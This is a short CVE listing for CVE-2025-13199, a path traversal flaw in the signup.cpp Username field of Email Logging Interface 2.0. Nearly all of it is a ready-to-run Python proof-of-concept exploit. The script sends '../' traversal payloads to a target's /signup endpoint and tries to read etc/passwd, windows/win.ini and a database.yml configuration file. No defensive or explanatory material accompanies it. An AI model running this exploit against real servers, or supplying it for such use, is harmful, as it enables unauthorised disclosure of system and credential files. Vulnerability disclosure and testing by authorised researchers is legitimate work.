CVE-2025-13199 Email Logging Interface 2.0 signup.cpp路径遍历漏洞

# CVE-2025-13199 Path Traversal PoC # Affected: Email Logging Interface 2.0 (signup.cpp) # Vulnerability: Path Traversal via Username parameter import requests import sys def exploit_path_traversal(target_url, filename): """ Exploit for CVE-2025-13199 Path traversal in signup.cpp Username field """ # Payload construction: '../' sequence to traverse directories # Target file path embedded in Username parameter payload = f"../../../{filename}" # Target endpoint (signup functionality) endpoint = f"{target_url}/signup" # Malicious request data data = { "Username": payload, "Password": "test123", "Email": "[email protected]" } print(f"[*] Sending malicious request to {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Request sent successfully") # Check for file content in response if filename in response.text or len(response.text) > 0: print("[+] Possible file disclosure detected") return True except Exception as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13199.py <target_url>") print("Example: python cve-2025-13199.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] # Try to read sensitive files sensitive_files = ["etc/passwd", "windows/win.ini", "../../config/database.yml"] for file in sensitive_files: print(f"\n[*] Attempting to access: {file}") exploit_path_traversal(target, file)